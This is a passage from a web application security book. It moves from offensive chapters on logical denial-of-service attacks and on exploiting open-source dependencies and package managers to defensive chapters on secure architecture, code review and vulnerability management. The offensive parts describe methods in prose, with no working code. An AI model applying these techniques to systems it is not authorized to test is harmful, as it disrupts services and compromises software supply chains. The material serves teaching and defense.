more frequently in the wild than expected. These require a bit of expertise to pin
down and take advantage of, but after mastering techniques for finding a few, you will
probably be able to find many.

First off, we need to think about what makes a DoS attack work. DoS attacks are usu‐
ally based around consuming server or client hardware resources, leaving them
unavailable for legitimate purposes. This means that we want to first look for occur‐
rences in a web application that are resource intensive. A nonextensive list could be:

• Any operation you can confirm operates synchronously
• Database writes
• Drive writes
• SQL joins
• File backups
• Looping logical operations

Often, complex API calls in a web application will contain not only one but multiple
of these operations.

For example, a photo-sharing application could expose an API route that permits a
user to upload a photo. During upload, this application could perform:
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• Database writes (store metadata regarding the photo)
• Drive writes (log that the photo was uploaded successfully)
• SQL join (to accumulate enough data on the user and albums to populate the

metadata write)
• File backup (in case of catastrophic server failure)

We cannot easily time the duration of these operations on a server that we do not
have access to, but we can use a combination of timing and estimation to determine
which operations are longer than others. For example, we could start by timing the
request from start to finish. This could be done using the browser developer tools.

We can also test if an operation occurs synchronously on the server by making the
same request multiple times at once and seeing if the responses are staggered. Each
time we do this, we should script it and average out perhaps one hundred API calls so
our metrics are not set off by random difference. Perhaps the server gets hit by a traf‐
fic spike when we are testing, or begins a resource-intensive Cron job. Averaging out
request times will give us a more accurate measure of what API calls take significant
time.

We can also approximate the structure of backend code by closely analyzing network
payloads and the UI. If we know the application supports these types of objects:

• User object
• Album object (user HAS album)
• Photo object (album HAS photos)
• Metadata object (photos HAVE metadata)

We can then see that each child object is referenced by an ID:

// photo #1234
{
  image: data,
  metadata: 123abc
}

We might assume that users, albums, photos, and metadata are stored in different
tables or documents depending on if the database used is SQL or NoSQL. If, in our
UI, we issue a request to find all metadata associated with a user, then we know a
complex join operation or iterative query must be running on the backend. Let’s
assume this operation is found at the endpoint GET /metadata/:userid.

We know that the scale of this operation varies significantly depending on the way a
user uses the application. A power user might require significant hardware resources
to perform this operation, while a new user would not.
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We can test this operation and see how it scales, as shown in Table 14-3.

Table 14-3. GET /metadata/:userid by account archetype

Account type Response time
New account (1 album, 1 photo) 120 ms

Average account (6 albums, 60 photos) 470 ms

Power user (28 albums, 490 photos) 1,870 ms

Given the way the operation scales based on user account archetype, we can deduce
that we could create a profile to eat up server resource time via GET /meta

data/:userid. If we write a client-side script to reupload the same or similar images
into a wide net of albums, we could have an account with 600 albums and 3,500
photos.

Afterward, simply performing repeated requests against the endpoint GET /meta
data/:userid would result in significant reduction in server performance for other
users unless the server-side code is extremely robust and limits resources on a per-
request basis. It’s possible these requests would just timeout, but the database would
likely still be coordinating resources even if the server software times out and doesn’t
send the result back to the client performing the request.

That’s just an example of how logical DoS attacks are found and exploited. Of course,
these attacks differ by case—hence the “logical DoS” as defined by the particular
application logic in the application you are exploiting.

Distributed DoS
With distributed denial of service (DDoS), server resources are drained by a large
number of illegitimate users. Because they are requesting en masse, they may even be
able to perform standard requests. At scale this will drown out server resources for
legitimate users (see Figure 14-2).

DDoS attacks are a bit outside of the scope of this book to cover comprehensively, but
you should be familiar at least conceptually with how they work. Unlike DoS attacks
where a single hacker is targeting either another client or a server to slow them down,
distributed attacks involve multiple attackers. The attackers can be other hackers, or
networked bots (botnets).
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Figure 14-2. DDoS server resources are being drained by a large number of illegitimate
users en masse

Theoretically, these bots could exploit any type of DoS attack, but on a wider scale.
For example, if a server utilizes regex in one of its API endpoints, a botnet could have
multiple clients sending malicious payloads to the same API endpoint simultane‐
ously. In practice, however, most DDoS attacks do not perform logical or regex-based
DoS and instead attack at a lower level (usually at the network level, instead of at the
application level). Most botnet-based DDoS attacks will make requests directly
against a server’s IP address, and not against any specific API endpoint. These
requests usually are UDP traffic in an attempt to drown out the server’s available
bandwidth for legitimate requests.

As you would imagine, these botnets are not usually devices all owned by a single
hacker, but instead are devices that a hacker or group of hackers has taken over via
malware distributed on the internet. Real computers owned by real people but with
software installed that allows them to be controlled remotely. This is a big issue
because it makes detecting the illegitimate clients much harder (are they real users?).

If you gain access to a botnet, or can simulate a botnet for security testing purposes, it
would be wise to try a combination of both network- and application-level attacks.

Any of the aforementioned DoS attacks that run against a server are vulnerable to
DDoS. Generally speaking, DDoS attacks are not effective against a single client,
although perhaps seeding massive amounts of regex-vulnerable payloads that would
later be delivered to a client device and executed could be in scope for DDoS.
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Summary
Classic DDoS attacks are by far the most common form of DDoS, but they are just
one of many attacks that seek to consume server resources so that legitimate users
cannot. DoS attacks can happen at many layers in the application stack—from the cli‐
ent, to the server, and in some cases even at the network layer. These attacks can affect
one user at a time, or a multitude of users, and the damage can range from reduced
application performance to complete application lockout.

When looking for DoS attacks, it’s best to investigate which server resources are the
most valuable, then start trying to find APIs that use those resources. The value of
server resources can differ from application to application, but could be something
standard, like RAM/CPU usage, or more complicated, like functionality performed in
a queue (user a → user b → user c, etc.).

While typically only causing annoyance or interruption, some DoS attacks can leak
data as well. Be on the lookout for logs and errors that appear as the result of any DoS
attempts.
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CHAPTER 15

Exploiting Third-Party Dependencies

It’s no secret that the software of today is built on top of OSS. Even in the commercial
space, many of the largest and most profitable products are built on the back of open
source contributions by a large number of developers throughout the world.

Some products built on top of OSS include:

• Reddit (BackBoneJS, Bootstrap)
• Twitch (Webpack, Nginx)
• YouTube (Polymer)
• LinkedIn (EmberJS)
• Microsoft Office Web (AngularJS)
• Amazon DocumentDB (MongoDB)

Beyond simply being OSS reliant, many companies now open source their core prod‐
ucts and make revenue with support or ongoing services instead of by selling the
products directly. Some examples of this are:

• Automattic Inc. (WordPress)
• Canonical (Ubuntu)
• Chef (Chef)
• Docker (Docker)
• Elastic (Elasticsearch)
• Mongo (MongoDB)
• GitLab (GitLab)
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BuiltWith is an example of a web application that fingerprints other web applications
in an attempt to determine what technology they are built on top of (Figure 15-1).
This is useful for quickly determining the technology behind a web application.

Figure 15-1. BuiltWith web application

Reliance on OSS, while convenient, often poses a significant security risk. This risk
can be exploited by witty and strategic hackers. There are a number of reasons why
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OSS can be a risk to your application’s security, and all of them are important to pay
attention to.

First off, relying on OSS means you are relying on a codebase that probably has not
been audited to the same stringent lengths that your own code would be. It is imprac‐
tical to audit a large OSS codebase, as you would first need to ramp up your security
engineers enough to become familiar with the codebase, and then you would need to
perform an in-depth, point-in-time analysis of the code. This is a very expensive
process.

A point-in-time analysis is also risky, because OSS codebases are constantly being
updated. Ideally, you would also perform a security assessment of each incoming pull
request. Unfortunately, that would also be very expensive, and most companies would
not support that type of financial loss and would rather shoulder the risk of using rel‐
atively unfamiliar software.

For these reasons, OSS integrations and dependencies are an excellent starting point
for a hacker looking to break into someone’s software. Remember, a chain is only as
strong as its weakest link, and often the weakest link is the one that was subjected to
the least-rigid quality assurance.

As a hacker, the first step in finding OSS integrations or dependencies to exploit is
recon. After recon, exploitability of these integrations can come from a number of
different angles.

Let’s investigate OSS integrations a bit further. First, we want to gain some under‐
standing of how web applications integrate with OSS.

Once we understand the basics as to how these integrations take place, we can per‐
form further investigations into the risks of OSS integrations. We can then learn how
to take advantage of OSS integrations in a web application.

Methods of Integration
When the developer of a web application wishes to integrate with an OSS application
there are often a few ways they can go about it from an architectural perspective.

It is important to know how an integration between a web application and an OSS
package is structured, as this often dictates the type of data moving between the two,
the method by which the data moves, and the level of privilege the OSS code is given
ny the main application.

Integrations with OSS can be set up many different ways. An extremely centralized
case involves direct integration into the core application code. Or it can involve run‐
ning the OSS code on its own server and setting up an API for one-way communica‐
tion from the main application to the OSS integration (this is the decentralized
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approach). Each of these approaches has pros and cons, and both bring different
challenges to anyone attempting to secure them.

Branches and Forks
Most of today’s OSS is hosted on Git-based version control systems (VCSs). This is a
major difference between modern web applications and legacy web applications, as 10
years ago the OSS might have been hosted in Perforce, Subversion, or even Micro‐
soft’s Team Foundation Server.

Unlike many legacy VCSs, Git is distributed. That means that rather than making
changes on a centralized server, each developer downloads their own copy of the soft‐
ware and makes changes locally. Once the proper modifications are made on a
“branch” of the master build, a developer can merge their changes into the master
branch (single source of truth).

When developers take OSS for their own use, sometimes they will create a branch
against that software and run the branch they created instead of the master branch.
This workflow allows them to make their own modifications, while easily pulling in
changes pushed to the master branch by other developers.

The branching model comes with risks. It can be much easier for a developer to acci‐
dentally pull unreviewed code from the master branch into their production branch.

Forks, on the other hand, offer a greater level of separation, as forks are new reposito‐
ries that start at the last commit pushed to the master branch prior to the fork’s cre‐
ation. As a new repository, a fork can have its own permissions systems, its own
owner, and implement its own Git hooks to ensure that accidentally insecure changes
are not merged.

A con of using a forking model for deploying OSS is that merging code from the orig‐
inal repo can become quite complex as time goes on, and the commits need careful
cherry-picking. Sometimes commits from the main repo will no longer be compatible
with the fork if significant refactoring occurred after the fork was created.

Self-Hosted Application Integrations
Some OSS applications come prepackaged, often with simple setup installers. A
prime example of this is WordPress (see Figure 15-2). It started out as a highly con‐
figurable PHP-based blogging platform, and now offers simple one-click installation
on most Linux-based servers.
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Figure 15-2. WordPress—the most popular CMS on the internet

Rather than distributing WordPress by source code, WordPress developers suggest
downloading a script that will set up a WordPress installation on your server auto‐
matically. Run this script, and the correct database configuration will be set up, and
files will be generated specifically based on the configuration presented to you in a
setup UI.

These types of applications are the most risky to integrate into your web application.
It may sound like a simple one-click setup blogging software could not cause a lot of
trouble, but more often than not, this type of system makes it much more difficult to
find and resolve vulnerabilities later on (you won’t know the location of all the files
without significant effort in reverse engineering the setup script). Generally, you
should stay away from this deployment method, but when you must go down this
route, you should also find the OSS repository and carefully analyze the setup script
and any code run against your system in this repository.

These types of packages require elevated privileges, and could easily result in a back‐
door RCE. This could be detrimental to your organization as a result of the script
itself likely running as an admin or elevated user on your web server.

Source Code Integration
Another method by which OSS can be integrated with a proprietary web application
is via direct source, code-level integration. This is a fancy way of saying copy/paste,
but can often be more complex, as a large library might also require its own depen‐
dencies and assets to be integrated alongside it.

This method requires quite a bit of work upfront when dealing with large OSS libra‐
ries, but is very simple with smaller OSS libraries. For a short 50–100 line script, this
is probably the ideal method of integration. Direct source code integration is often
the best choice for small utilities or helper functions.
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Larger packages are not only more difficult to integrate, but also come with more
risks. The forking and branching models bring risk, as insecure upstream changes
may accidentally be integrated into the OSS code that integrates with your web appli‐
cation. On the other hand, the direct integration method brings risk where a vulnera‐
bility could be patched upstream, but you would have no way of being notified, and
pulling that patch into your software could be difficult and time-consuming.

Each of these methods has pros and cons, and there is no correct method for every
application. Make sure to carefully evaluate the code you wish to bring in and inte‐
grate by a number of metrics, including size, dependency chain, and upstream activ‐
ity in the master branch.

Package Managers
In today’s world, many integrations between a proprietary web application and OSS
happen as a result of an intermediary application called a package manager. Package
managers are applications that ensure your software always downloads the correct
dependencies from reliable sources on the web, and sets them up correctly so that
they can be consumed from your application regardless of the device your application
is run on.

Package managers are useful for a number of reasons. They abstract away compli‐
cated integration details, slim down the initial size of your repository, and if correctly
configured, can allow only the dependencies you require for your current develop‐
ment work to be pulled in rather than pulling in every dependency for a large appli‐
cation.

In a small application this may not be useful, but for a large enterprise software pack‐
age with over a hundred dependencies this could save you gigabytes of bandwidth
and hours of build time.

Every major programming language has at least one package manager, many of which
follow similar architectural patterns to those in other languages. Each major package
manager has its own quirks, security safeguards, and security risks. We cannot evalu‐
ate each and every package manager in this chapter, but we can analyze a few of the
most popular ones.

JavaScript
Until recently, the JavaScript (and Node.js) development ecosystem was built almost
entirely on a package manager called npm (see Figure 15-3).
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Figure 15-3. npm, the largest JavaScript-based package manager

Although alternatives have popped up on the market, npm still powers the vast
majority of JavaScript-based web applications around the web. npm exists in most
applications as a CLI for accessing a robust database of open source libraries that are
hosted for free by npm, Inc.

You have probably run into an npm-based application by accident or on purpose. The
key signs that an application brings in dependencies via npm are the package.json
and package.lock files in an application’s root directory, which signal to the CLI
which dependencies and versions to bring into the application at build time.

Like most modern package managers, npm not only resolves top-level dependencies,
it also resolves recursive child dependencies. This means that if your dependency also
has dependencies on npm, npm will bring those in at build time too.

npm’s loose security mechanisms have made it a target for malicious users in the past.
Due to its widespread usage, some of these events have affected the uptime of mil‐
lions of applications.

An example of this was left-pad, a simple utility library maintained by one person. In
2016, left-pad was pulled from npm, breaking the build pipeline for millions of appli‐
cations that relied on this one-page utility. In response, npm no longer allows pack‐
ages to be removed from the registry after a certain amount of time has passed since
they were published.
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In 2018, the credentials of the owner of eslint-scope were compromised by a hacker
who published a new version of eslint-scope that would steal local credentials on any
machine it was installed on. This proved that npm libraries could be used as attack
vectors for hackers. Since the incident, npm has increased documentation on security,
but compromised package maintainer credentials are still a risk that, if exploited,
could result in the loss of company source code, IP, or general malice as a result of
malicious script downloads.

Later in 2018, a similar attack occurred with event-stream, which had added a
dependency of flatmap-stream. flatmap-stream included some malicious code to steal
the Bitcoin wallets of the computer it was installed on, hence stealing wallets from
many users relying on flatmap-stream unknowingly.

As you can see, npm is ripe for exploitation in many ways and presents a significant
security risk as it may be nearly impossible to evaluate each dependency and subde‐
pendency of a large application at a source-code level. Simply integrating your OSS
npm package into a commercial application could be an attack vector capable of
resulting in fully compromised company IP or worse.

I suggest that these package managers are a risk, and provide examples only so that
such risks can be properly mitigated. I also suggest that if you attempt to use npm
libraries to exploit a business, you do so only with explicit written permission from
the owners and on the basis of a red-team-style testing scenario only.

Java
Java uses a wide host of package managers, such as Ant and Gradle, with the most
popular being Maven, supported by the Apache Software Foundation (see
Figure 15-4). Maven operates similarly to JavaScript’s npm—it is a package manager
and is usually integrated in the build pipeline.
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Figure 15-4. Maven—the oldest and most popular package manager for Java-based
applications

Because Maven predates Git version control, much more of its dependency manage‐
ment code is written from the ground up rather than relying on what is provided via
Git. As a result, the underlying implementation between npm and Maven is different,
although the function of the two is quite similar.

Maven, too, has been the target of attacks in the past, though typically these have
received less media attention than npm. Just like npm, Maven projects and plug-ins
can be compromised and imported into a legitimate application. Such risks are not
isolated to any one package management software.

Other Languages
C#, C, C++, and most other large mainstream programming languages all have simi‐
lar package managers to JavaScript or Java (NuGet, Conan, Spack, etc.). Each of these
can be attacked with similar methods, either by the addition of a malicious package
that is then incorporated into a legitimate application’s codebase, or by the addition of
a malicious dependency that is then incorporated into a legitimate package and then
incorporated into a legitimate application’s codebase.

Attacking via a package manager may require a combination of social engineering
and code obfuscation technique. Malicious code must be out of plain site, so that it is
not easily identified, but still capable of execution.

Ultimately, package managers present a similar risk to any method of OSS integra‐
tion. It is difficult to fully review the code in a large OSS package, especially when you
take into consideration its dependencies.
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Common Vulnerabilities and Exposures Database
Generally speaking, deploying a package to a package manager and getting it integra‐
ted into an application could be an attack vector, but it would require a significant
amount of long-term effort and planning. The most popular way of exploiting third-
party dependencies in a small amount of time is by determining known vulnerabili‐
ties that have not yet been patched in the application’s dependencies, and attacking
those dependencies.

Fortunately, vulnerabilities are disclosed publicly when found in many packages.
These vulnerabilities often make it to an online database like the US Department of
Commerce National Vulnerability Database (NVD), see Figure 15-5, or Mitre’s Com‐
mon Vulnerabilities and Exposures (CVE) database, which is sponsored by the US
Department of Homeland Security.

Figure 15-5. NVD, the national database of known vulnerabilities scored by severity

This means that popular third-party applications will likely have known and docu‐
mented vulnerabilities as a result of many companies collaborating and contributing
research from their own security analysis for others to read.

CVE databases are not incredibly useful when attempting to find known vulnerabili‐
ties in smaller packages, such as a GitHub repo with two contributors that has been
downloaded three hundred times. On the other hand, major dependencies like Word‐
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Press, Bootstrap, or JQuery that have millions of users have often been scrutinized by
many companies prior to being introduced in a production environment. As a result,
the majority of serious vulnerabilities have likely already been found, documented,
and published on the web.

JQuery is a good example of this. As one of the top 10 most commonly used libraries
in JavaScript, JQuery is used on over 10 million websites, has over 18,000 forks on
GitHub in addition to over 250 contributors, and has around 7,000 commits com‐
prising 150 releases.

Due to its widespread usage and visibility, JQuery is constantly under high scrutiny
for attention to secure coding and architecture. A serious vulnerability in JQuery
could wreak havoc on some of the largest companies in the world—the damage
would be widespread.

A quick scan of NVD’s CVE database shows dozens of reported vulnerabilities in
JQuery over the years. These include reproduction steps and threat ratings to deter‐
mine how easily exploitable the vulnerability is and what level of risk the vulnerability
would bring to an organization.

As an attacker, these CVE databases can provide you with detailed methods of
exploiting an application that contains a previously disclosed vulnerability. CVE data‐
bases make finding and exploiting vulnerabilities very easy, but you must still make
use of reconnaissance techniques to properly identify dependencies, their integration
with the primary application, and the versions and configurations used by those
dependencies.

Summary
The rampant use of third-party dependencies, in particular from the OSS realm, has
created an easy-to-overlook gap in the security of many web applications. A hacker,
bug bounty hunter, or penetration tester can take advantage of these integrations and
jumpstart their search for live vulnerabilities. Third-party dependencies can be
attacked a number of ways, from shoddy integrations to fourth-party code or just by
finding known exploits discovered by other researchers or companies.

While the topic of third-party dependencies as an offensive attack vector is wide, and
difficult to narrowly profile, these dependencies should always be considered in any
type of offensive-style testing environment. Third-party dependencies can take a bit
of reconnaissance effort to fully understand their role in a complex web application,
but once that reconnaissance effort is complete, vulnerabilities in the dependencies
often become visible quicker than those in first-party code. This is because these
dependencies lack the same rigid review and assurance processes as first-party code,
making them a great starting point for any type of web application exploitation.
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CHAPTER 16

Part II Summary

Today’s web applications are host to a wide number of vulnerabilities. Some of these
vulnerabilities are easily classified, like the vulnerabilities we evaluated and tested in
this part of the book. Other vulnerabilities are more of a niche—unique to a single
application if that application has an uncommon security model or possesses features
with unique architecture not found elsewhere.

Ultimately, thoroughly testing a web application will require knowledge of common
vulnerability archetypes, critical thinking skills, and domain knowledge so that deep
logic vulnerabilities outside of the most common archetypes can be found. The foun‐
dational skills presented in Part I and Part II should be sufficient to get you up and
running on any web application security pen-testing project you take part in in the
future.

From this point forward, you should pay attention to the business model in any
application you test. All applications are at risk of vulnerabilities like XSS, CSRF, or
XXE, but only by gaining a deep understanding of the underlying business model and
business logic in an application can you identify more advanced and specific
vulnerabilities.

If the vulnerabilities presented in Part II feel difficult to apply in a real-world sce‐
nario, consider why that is the case. It is possible that whatever application you are
testing is thoroughly hardened, but it’s more likely that while you have developed the
knowledge to develop and deploy these attacks, you may need to further improve or
apply your recon skills in order to find weaknesses in the application where these
attacks can be deployed successfully.

The skills learned in Part II of the book build directly on top of the skills from Part I.
Additionally, they will serve you well as you move on to the final part of this book
regarding web application security: defensive mechanisms to protect against attacks.
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Keep in mind both the recon techniques and offensive hacking techniques developed
so far as you progress through the last part of this book. As you work through the
defense examples, continually think to yourself how a hacker would find and exploit
an application with and without proper defenses.

You will learn that web application defenses are often broken, which is why they are
frequently referred to as “mitigations” rather than “fixes.” With the knowledge from
Part I and Part II you may be able to determine methods of bypassing or softening
specific defenses in Part III. The defenses presented in Part III are mostly considered
best practices in the industry, but many are not bulletproof, and multiple defenses
should often be combined rather than relying on one at a time.

On a final note, the techniques presented in Part II are indeed dangerous. These are
real attacks used by real attackers on a regular basis. You are welcome to test them
against your own web applications, but please do not test them against web applica‐
tions owned by others without explicit written permission from the web application’s
owner.

The techniques from the prior chapters can be used for both good and evil. As a
result, the application and usage of these techniques must be considered thoroughly
and not deployed on a whim.

Several of the techniques can also result in the compromise of servers or client
machines, even when granted permissions from an application’s owner. Keep in mind
the impact of each individual attack, and make sure the application owner under‐
stands the risks involved with live testing prior to beginning.
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PART III

Defense

This is the final part of Web Application Security. Building on top of the previous two
parts, we will deeply analyze what goes into building a modern, full stack web
application.

At each point in our analysis, we will consider significant security risks and concerns.
Following our concerns, we will evaluate alternative implementations as well as miti‐
gations that alleviate security risk.

Throughout this process, you will learn about techniques that you can integrate into
your software development life cycle in order to reduce the number of vulnerabilities
found in your production code. These techniques range from secure-by-default appli‐
cation architecture, to avoidance of insecure anti-patterns, all the way to proper
security-oriented code-review technique and countermeasures for specific types of
exploits.

At the end of this part, you will have a strong foundation in web application recon‐
naissance, offensive pen-testing techniques, and secure software development. Once
you complete Part III, you are welcome to reread points of interest in the first two
parts (but with added context), or go on to apply your new skills in the real world.

Let’s now move on to Part III and begin learning about software security and the
skills required to build hacker-resistant web applications.





CHAPTER 17

Securing Modern Web Applications

Up to this point, we have spent a significant amount of time analyzing techniques that
can be used for researching, analyzing, and breaking into web applications. These
preliminary techniques are important in their own right, but also give us important
insights as we move into the third and final part of this book: defense.

Today’s web applications are much more complex and distributed than their prede‐
cessors. This opens up the surface area for attack when compared to older, mono‐
lithic web applications—in particular, those with server-side rendering and little to no
user interaction. These are the reasons I structured this book to start with recon, fol‐
lowed by offense, and finally defense.

I believe it is important to understand the surface area of a web application, and
understand how such a surface area can be mapped and analyzed by a potential
hacker. Beyond this, I believe that having an understanding of techniques hackers are
using to break into web applications is also crucial knowledge for anyone looking into
securing a web application. By understanding the methodology a hacker would use to
break into your web application, you should be able to derive the best ways to priori‐
tize your defenses and camouflage your application architecture and logic from mali‐
cious eyes.

All of the skills and techniques we have covered up until this point are synergistic.
Improving your mastery of recon, offense, or defense will result in extremely efficient
use of your time.

But let’s move on to the topic at hand: defense.

Defending a web application is somewhat akin to defending a medieval castle. A
castle consists of a number of buildings and walls, which represent the core applica‐
tion code. Outside of the castle are a number of buildings that integrate with and sup‐
port the castle’s owner (usually a lord) in a way that describes an application’s
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dependencies and integrations. Due to the large surface area in a castle and the sur‐
rounding kingdom, in wartime it is essential for defenses to be prioritized as it would
be infeasible to maximize the defensive fortifications at every potential entrance
point.

In the world of web application security, such prioritization and vulnerability man‐
agement is often the job of security engineers in large corporations or more general‐
ized software engineers in smaller companies. These professionals take on the role of
master defender, using software engineering skills in combination with recon and
hacking skills to reduce the probability of a successful attack, mitigate potential dam‐
ages, and then manage active or past damages.

Defensive Software Architecture
The first step in writing a well-fortified web application starts prior to any software
actually being written. This is the architecture phase. In the architecture phase of any
new product or feature, deep attention to detail should be spent on the data that flows
throughout the application.

It could be argued that most of software engineering is efficiently moving data from
point A to point B. Similarly, most of security engineering is efficiently securing data
in transit from point A to point B and wherever it may rest before, after, or during
that transit.

It is much easier to catch and resolve deep architectural security flaws before actually
writing and deploying the software. After an application has been adopted by users,
the depth at which a re-architecture can be performed to resolve a security gap is
often limited.

This is especially true in any type of web application that consumers build upon. Web
applications that allow users to open their own stores, run their own code, and so on
can be extremely costly to re-architect because deep re-architecture may require cus‐
tomers to redo many time-significant manual processes.

In the following chapters, we will learn a number of techniques to properly evaluate
the security in an application’s architecture. These techniques range from analysis of
data flow to threat modeling for new features.

Comprehensive Code Reviews
During the process of actually writing a web application that has already been evalu‐
ated as a secure architecture, the next step is carefully evaluating each commit prior
to release into the codebase. Most companies have already adopted mandatory code
review processes to improve quality assurance, reduce technical debt, and eliminate
easy-to-find programming mistakes.
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Code reviews are also a crucial step in ensuring that released code meets security
standards. In order to reduce conflict of interest, commits to source code version
control should not only be reviewed by members of the committer’s team, but also by
an unrelated team (especially in regard to security).

Catching security holes at the code review level on a per-commit basis is actually eas‐
ier than one would think. The major points to look out for are:

• How is data being transmitted from point A to point B (typically over a network,
and in a specific format)?

• How is data being stored?
• When data gets to the client, how is it presented to the user?
• When data gets to the server, what operations occur on it and how is it persisted?

In the following chapters, we will evaluate significantly more specific measures for
performing security code reviews. But this checklist provides a basis from which to
build upon and prove that anyone can get started reviewing for security.

Vulnerability Discovery
Assuming your organization and/or codebase has already undertaken steps to evalu‐
ate security before writing code (architecture) and during the development process
(code reviews), the next step is finding vulnerabilities in the code that occur as a
result of bugs that are not easily identifiable (or missed) in the code review process.
Vulnerabilities are found in a number of ways, and some of these ways will damage
your business/reputation, while others will not.

The old-fashioned way of finding vulnerabilities is either by customer notification or
(worst case) widespread public disclosure. Unfortunately, some companies still rely
on this as their only means of finding vulnerabilities to fix in their web applications.

More modern methods for finding vulnerabilities exist, and can save your product
from a wave of bad PR, lawsuits, and loss of customers. Today’s most security-
conscious companies use a combination of the following:

• Bug bounty programs
• Internal red/blue teams
• Third-party penetration testers
• Corporate incentives for engineers to log known vulnerabilities

By making use of one or more of these techniques to find vulnerabilities before your
customers or the public do, a large corporation can save huge amounts of money with
a little bit of expense upfront.
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We will evaluate each of these methods of finding vulnerabilities in the following
chapters. We will also analyze several well-known cases of companies that did not
properly invest in such proactive security measures, and the huge financial losses that
stemmed from such negligence.

Vulnerability Analysis
After finding a vulnerability in your web application, there are several steps that
should be taken to properly triage, prioritize, and manage that vulnerability.

First off, not all vulnerabilities carry as much risk as others. It is a well-known fact in
security engineering that some vulnerabilities are worth pushing off until developers
have free time, while others are worth dropping all current development processes in
order to patch.

The first step in vulnerability management is evaluating the risk a vulnerability
presents to your company. The risk level of a vulnerability determines the priority
required when determining when and in what order to fix vulnerabilities.

Risk and priority can be derived from:

• Financial risk to the company
• Difficulty of exploitation
• Type of data compromised
• Existing contractual agreements
• Mitigation measures already in place

After determining the risk and prioritization of a vulnerability, the next step involves
developing tracking methods to ensure the solution is progressing in a timely manner
and alongside your contractual obligations. The final step is writing automated tests
to ensure the vulnerability does not regress and reopen after a fix is deployed.

Vulnerability Management
After assessing the risk of a vulnerability, and prioritizing it based on the factors lis‐
ted, a fix must be tracked through to completion. Such fixes should be completed in a
timely manner, with deadlines determined based off of the risk assessment. Further‐
more, customer contracts should be analyzed in response to an assessed vulnerability
to determine if any agreements have been violated.

Also, during this time frame if the vulnerability can be recorded, additional logging
should be put in place to ensure that no hacker attempts to take advantage of the vul‐
nerability while the fix is being developed. Lack of logging for known vulnerabilities
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has led to the demise of several companies that were not aware a vulnerability was
being abused while they waited for resolution from their engineering teams.

Managing vulnerabilities is an ongoing process. Your vulnerability management pro‐
cess should be carefully planned out and written down so that your progress can be
recorded. This should result in more accurate timelines as time goes on and time-to-
fix burn rates can be averaged.

Regression Testing
After deploying a fix that resolves a vulnerability, the next step is to write a regression
test that will assert that the fix is valid and the vulnerability no longer exists. This is a
best practice that is not being used by as many companies as it should be. A large per‐
centage of vulnerabilities are regressions—either directly reopened bugs or variations
of an original bug. A security engineer from a large software company (10,000+
employees) once told me that approximately 25% of their security vulnerabilities were
a result of previously closed bugs regressing to open.

Building and implementing a vulnerability regression management framework is
simple. Adding test cases to that framework should take a small fraction of the time
that an actual fix took. Vulnerability regression tests cost very little upfront but can
save huge amounts of time and money in the long run. We will be discussing how to
effectively build, deploy, and maintain a regression testing framework in the follow‐
ing chapters.

Mitigation Strategies
Finally, an overall best practice for any security-friendly company is to actively make
a good effort to mitigate the risk of a vulnerability occurring in the application code‐
base. This is a practice that happens all the way from the architecture phase to the
regression testing phase.

Mitigation strategies should be widespread, like a net trying to catch as many fish as
possible. In crucial areas of an application, mitigation should also run deep.

Mitigation comes in the form of secure coding best practices, secure application
architecture, regression testing frameworks, secure software development life cycle
(SSDL), and secure-by-default developer mindset and development frameworks.
Throughout the following chapters, we will learn a number of ways to mitigate and
sometimes eliminate the risk that a particular vulnerability can introduce into our
codebase.

Practicing all of the preceding steps will greatly enhance the security of any codebase
you work on. It will eliminate huge amounts of risk from your organization, and save
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your organization large amounts of money while protecting you from huge amounts
of brand damage that would occur otherwise in due time.

Applied Recon and Offense Techniques
The techniques we learned in Part I and Part II are not required prior to progressing
into Part III. However, deep knowledge of recon and offensive techniques will give
you insight into building stronger defenses that could not be obtained otherwise.

As we progress through the process of securing a web application, keep in mind the
recon techniques learned from Part I. These techniques will give you insight into how
to camouflage your application from unwanted eyes. They will also give you insight
as to how to prioritize fixes, because you will note that some vulnerabilities will be
easier to find than others.

The material from Part II will also be valuable throughout this section. By under‐
standing common vulnerabilities that hackers look for in order to break into a web
application, you will better understand what types of defenses you can put up to miti‐
gate such attacks. Knowledge of specific categories of exploit should also help you
prioritize your fixes, because you will understand what type of data will be put at risk
if one of these exploits is found in your web application.

This book is not a comprehensive know-all reference, but should provide enough
foundational knowledge for you to seek out more information on any of the three
parts on recon, offense, and defense.

Completing all three parts should give you the foundation you need to understand
how to communicate regarding recon techniques, vulnerabilities, and mitigation
methods. With this knowledge in hand, you should be able to easily accelerate your
learning in the realm of software security and begin the process of directing your own
self-studies into whichever particular security realm you want to master.
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CHAPTER 18

Secure Application Architecture

The first step in securing any web application is the architecture phase.

When building a product, a cross-functional team of software engineers and product
managers usually collaborate to find a technical model that will serve a very specific
business goal in an efficient manner. In software engineering, the role of an architect
is to design modules at a high level and evaluate the best ways for modules to com‐
municate with each other. This can be extended to determining the best ways to store
data, what third-party dependencies to rely on, what programming paradigm should
be predominant throughout the codebase, etc.

Similarly to a building architect, software architecture is a delicate process that carries
a large amount of risk because re-architecture and refactor are expensive processes
once an application has already been built. Security architecture includes a similar
risk profile to software or building architecture. Often, vulnerabilities can be preven‐
ted easily in the architecture phase with careful planning and evaluation. However,
too little planning, and application code must be re-architected and re-factored—
often at a large cost to the business.

The NIST has claimed, based on a study of popular web applications, that “The cost
of removing an application security vulnerability during the design phase ranges
from 30–60 times less than if removed during production.” Hence solidifying any
doubts we have regarding the importance of the architecture phase.

Analyzing Feature Requirements
The first step in ensuring that a product or feature is architected securely is collecting
all of the business requirements that the product or feature is expected to implement.
Business requirements can be evaluated for risk prior to their integration in a web
application even being considered.
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Any organization that has separate teams for security and R&D
should ensure that communication pathways between the two are
built into the development process. Features cannot be properly
analyzed in a silo, and such analysis should include stakeholders
from engineering as well as product development.

Consider this business case: after cleaning up multiple security holes in its codebase,
MegaBank has decided to capitalize on its newly found popularity by beginning its
own merchandising brand. MegaBank’s new merchandising brand, MegaMerch, will
offer a collection of high-quality cotton T-shirts, comfortable cotton/elastic sweat‐
pants, and men’s and women’s swimwear with the MegaMerch (MM) logo.

In order to distribute merchandise under the new MegaMerch brand, MegaBank
would like to set up an ecommerce application that meets the following requirements:

• Users can create accounts and sign in.
• User accounts contain the user’s full name, address, and date of birth.
• Users can access the front page of the store that shows items.
• Users can search for specific items.
• Users can save credit cards and bank accounts for later use.

A high-level analysis of these requirements tells us a few important tidbits of
information:

• We are storing credentials.
• We are storing personal identifier information.
• Users have elevated privileges compared to guests.
• Users can search through existing items.
• We are storing financial data.

These points, while not out of the ordinary, allow us to derive an initial analysis of
what potential risks this application could encounter if not architected correctly. A
few of the risk areas derived from this analysis are as follows:

• Authentication and authorization: How do we handle sessions, logins, and
